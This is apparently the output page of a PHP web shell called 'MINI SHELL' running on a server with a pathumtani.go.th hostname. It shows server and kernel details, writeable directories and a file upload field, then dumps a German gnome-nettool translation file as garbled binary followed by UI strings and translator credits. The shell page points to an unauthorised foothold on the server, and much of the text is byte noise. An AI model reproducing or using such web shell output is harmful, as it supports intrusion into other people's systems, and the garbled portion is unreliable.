MINI SHELL

Server : Apache/2.2.2 (Fedora)
System : Linux App1.pathumtani.go.th 2.6.20-1.2320.fc5smp #1 SMP Tue Jun 12 19:40:16 EDT 2007 i686
User : apache ( 48)
PHP Version : 5.2.9
Disable Function : NONE
Directory :  /usr/share/locale/de/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/de/LC_MESSAGES/gnome-nettool.mo
l01GKa~!"#")AIV	_
it&-5>GbOYOM\\Ya{F#!8(Z#5&*INW
Ze	q{	%%
?MT]pu~
-
GUm


+,X2]3	&@Pbx 37?0Fw}
 O	1F["a
%7JOU
hs

JWqu")
)7ag~	

 	  ! ) $. S ` h t 	}  |!!{	""|#P###!#$] $&~$!$$$8$%%&?%9f%%%%%%%%	%&

&&	!&+&;&C&b&
x&&&&6& '9'H'Q'Z'q'!''''''
'((
(%(
9(G(Z(i(((((((())/)B)Y)n))8))U)U3***	*'*
*	*'*+&+9+P+`+t+!+++$++-+
,-,C,K,S,1Z,,,,,,',b,C-H-O-V-u--	-)-
---.!.5.J.c.	l.	v.........//$/6/	G/Q/`/c/t/}/	0Mf3@wsWDmX [2=Ldgar'.|9F/
KG!`:x{-z4&B_6>,~$k)T+hl0#bR7o}q?j8]HCAi<;u1^JZQe	P*N"
pIY(vSc%nVO5tUEy\%s: Command not found0.0<b>IP Information</b><b>Interface Information</b><b>Interface Statistics</b><b>Round Trip Time Statistics</b><b>Transmission Statistics</b>A domain address was not specifiedA network address was not specifiedActiveActive Network ServicesAddressAddress TypeAverage:BroadcastBroadcast:Broadcast:	%s
BytesBytes	Source	Seq	Time	Units
COMMANDClear _HistoryCollisions:Collisions:	%s
DEVICEDOMAINDestinationDestination	Gateway	Netmask	Interface
Destination/PrefixDevicesDisabledDisplay:EnabledEnter a domain address to lookup its whois information.
For example: www.domain.com or 192.168.2.1Enter the network address to finger that user.
For example: www.domain.com or 192.168.2.1Enter the network address to lookup.
For example: www.domain.com or 192.168.2.1Enter the network address to ping.
For example: www.domain.com or 192.168.2.1Enter the network address to scan for open ports.
For example: www.domain.com or 192.168.2.1Enter the network address to trace a route to.
For example: www.domain.com or 192.168.2.1Enter the user to finger.Ethernet InterfaceFingerFinger command to runGatewayGet netstat information.  Valid options are: route, active, multicast.Getting active Internet connectionsGetting group membershipsGetting information of %s on "%s"Getting information of all users on "%s"Getting routing tableGetting the whois information of %sGraphical user interface for common network utilitiesGroupHOSTHardware address:Hardware address:	%s
HopHop	Hostname	IP	Time 1	Time 2
HostHostnameIPIP AddressIP Address:IP SourceIP address:	%s
InactiveInformation not availableInfrared InterfaceInterfaceInterface	Member	Group
Link speed:Link speed:	%s
Load information for a network deviceLook up a network addressLooking up %sLookupLoopbackLoopback InterfaceMTU:MTU:	%s
Maximum:MemberMinimum:Modem InterfaceMulticast InformationMulticast:Multicast:	%s
NameNetmaskNetmask / PrefixNetmask:Netmask:	%s
NetstatNetwork Devices Not FoundNetwork Information ToolsNetwork ToolsNetwork Tools - DevicesNetwork device:	%s
Not AvailableOnlyOther typePacket loss:	%s
Packets loss:Packets received:Packets received:	%s
Packets transmitted:Packets transmitted:	%s
Parallel Line InterfacePerform a whois lookup for a network domainPingPlease enter a valid domain address and try again.Please enter a valid network address and try again.PortPort	State	Service
Port ScanPort scan a network addressPort/ServiceProtocolProtocol	IP Source	Port/Service	State
Received bytes:Received packets:Received packets:	%s
Reception errors:Reception errors:	%s
Record TypeRouting Table InformationRunScanScanning %s for open portsScopeSend a ping to a network addressSend:Sending ping requests to %sSeqServiceSourceSource	TTL	Address Type	Record Type1	Resolution
StateState:State:	%s
StopTTLThe address '%s' cannot be foundThe file %s doesn't exist, please check if gnome-nettool is correctly installedTimeTime 1Time 2Time average:	%s ms
Time maximum:	%s ms
Time minimum:	%s ms
TraceTrace a route to a network addressTracerouteTracing route to %sTransmission errors:Transmission errors:	%s
Transmitted bytes:Transmitted packets:Transmitted packets:	%s
USERUnitsUnknownUnknown InterfaceUnlimited requestsUserWhoisWireless Interface_Configure_Domain address:_Edit_Help_Information type:_Network address:_Network device:_Tool_Username:msnot availablerequeststranslator_creditsunknownProject-Id-Version: gnome-nettool HEAD
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2005-06-16 21:25+0200
PO-Revision-Date: 2005-06-16 21:25+0200
Last-Translator: Hendrik Richter <hendi@gnome-de.org>
Language-Team: German <gnome-de@gnome.org>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
%s: Befehl nicht gefunden0.0<b>IP Informationen</b><b>Schnittstelleninformationen</b><b>Schnittstellenstatistik</b><b>Round Trip Zeitstatistik</b><b>Übertragungsstatistik</b>Sie haben keine Domänenadresse angegebenSie haben keine Netzwerkadresse angegebenAktivAktive NetzwerkdiensteAdresseAdresstypDurchschnitt:SendenAussenden:Senden:	%s
BytesBytes	Quelle	Seq	Zeit	Einheiten
BEFEHL_Chronik löschenKollisionen:Kollisionen:	%s
GERÄTDOMÄNEZielZiel	Zugang	Netzmaske	Schnittstelle
Ziel/PräfixGeräteDeaktiviertAnzeige:AktiviertBitte geben Sie die Adresse der Domäne ein, die nach Informationen durchsucht werden soll.
z.B.: www.domain.de oder 192.168.2.1Geben Sie die Netzwerkadresse ein, an die eine »Finger«-Anfrage gesendet werden soll.
z.B.: www.domain.de oder 192.168.2.1Bitte geben Sie die Netzwerkadresse ein, auf die ein Lookup durchgeführt werden soll.
Zum Beispiel: www.domain.de oder 192.168.2.1Bitte geben Sie die Netzwerkadresse ein, an die ein Ping gesendet werden soll.
Zum Beispiel: www.domain.de oder 192.168.2.1Bitte geben Sie die Netzwerkadresse ein, bei der nach offenen Ports gesucht werden soll.
Zum Beispiel: www.domain.de oder 192.168.2.1Bitte geben Sie die Netzwerkadresse ein, nach deren Route verfolgt werden soll.
Zum Beispiel: www.domain.de oder 192.168.2.1Geben Sie den Benutzer ein, an den eine »Finger«-Anfrage gesendet werden soll.Ethernet-SchnittstelleFingerAuszuführender »Finger«-BefehlZugangInformationen zum Netzwerkstatus anzeigen.  Gültige Optionen sind: route, active, multicast.Aktive Internet-Verbindungen anfordernGruppenmitgliedschaften anfordernInformationen zu %s von »%s« holenInformationen zu allen Benutzer auf »%s« werden geholtRouting-Tabelle anfordernDie Benutzerinformationen von %s holenEine grafische Oberfläche zur einfachen NetzwerkdiagnoseGruppeHOSTHardware-Adresse:Hardware-Adresse:	%s
HopHop	Host-Name	IP	Zeit 1	Zeit 2
HostHost-NameIPIP-AdresseIP-Adresse:IP QuelleIP-Adresse:	%s
InaktivKeine Informationen verfügbarInfrarotschnittstelleSchnittstelleSchnittstelle	Mitglied	Gruppe
Verbindungsgeschwindigkeit:Verbindungsgeschwindigkeit:	%s
Informationen zu einem bestimmten Netzwerkgerät ladenEine Netzwerkadresse durchsuchen%s durchsuchenAnzeigenLoopbackLoopback-SchnittstelleGrößtmögliches Datenpaket:Größtmögliches Datenpaket:	%s
Maximum:MitgliedMinimum:Modem-SchnittstelleMulticast-InformationenMulticast:Multicast:	%s
NameNetzwerkmaskeNetzmaske / PräfixNetzwerkmaskeNetzwerkmaske:	%s
NetzwerkstatusNetzwerkgeräte nicht gefundenNetzwerkinformationsprogrammeNetzwerkdiagnoseNetzwerkdiagnose - GeräteNetzwerkgerät:	%s
Nicht verfügbarNurAnderer TypVerlorene Pakete:	%s
Verlorene Pakete:Empfangene Pakete:Empfangene Pakete:	%s
Übertragene Pakete:Übertragene Pakete:	%s
Parallele SchnittstelleEine Whois-Suche für eine Netzwerk-Domäne durchführenPingBitte geben Sie eine gültige Domänenadresse ein und versuchen Sie es danach erneut.Bitte geben Sie eine gültige Netzwerkadresse ein und versuchen Sie es danach erneut.PortPort	Status	Dienst
Port-ScanDie Ports einer Netzwerkadresse scannenPort / DienstProtokollProtokoll	IP-Quelle	Port/Dienst	Status
Empfangene Bytes:Empfangene Pakete:Empfangene Pakete:	%s
Empfangsfehler:Empfangsfehler:	%s
EintragstypInformationen zur Routing-TabelleStartenScannen%s wird auf offene Ports überprüftBereichEinen »ping« an eine Netzwerkadresse sendenSenden:Unbegrenzt Anfragen mit »ping« an %s sendenSequenzDiensteQuelleQuelle	Zähler	Adresstyp	Record Type1	Auflösung
StatusStatus:Status:	%s
AnhaltenZählerDie Adresse »%s« wurde nicht gefundenDie Datei »%s« existiert nicht! Bitte überprüfen Sie, ob gnome-nettool korrekt installiert istZeitZeit 1Zeit 2Durchschnittliche Zeit:	%s ms
Maximale Zeit:	%s ms
Minimale Zeit:	%s ms
VerfolgenDie Route zu einer Netzwerkadresse findenTracerouteRoute zu %s findenÜbertragungsfehler:Übertragungsfehler:	%s
Übertragene Bytes:Übertragene Pakete:Übertragene Pakete:	%s
BENUTZEREinheitenUnbekanntUnbekannte SchnittstelleUnbegrenzt Anfragen sendenBenutzerWhoisDrahtlose Schnittstelle_Einrichten_Domänenadresse:_Bearbeiten_HilfeArt der _Informationen:_Netzwerkadresse:_Netzwerkgerät:_Programm_Benutzername:msnicht verfügbarAnfragenHendrik Brandt <heb@gnome-de.org>
Karl Eichwalder <ke@suse.de>
Matthias Warkus <mawa@iname.com>
Carsten Schaar <nhadcasc@fs-maphy.uni-hannover.de>unbekannt

Anon7 - 2021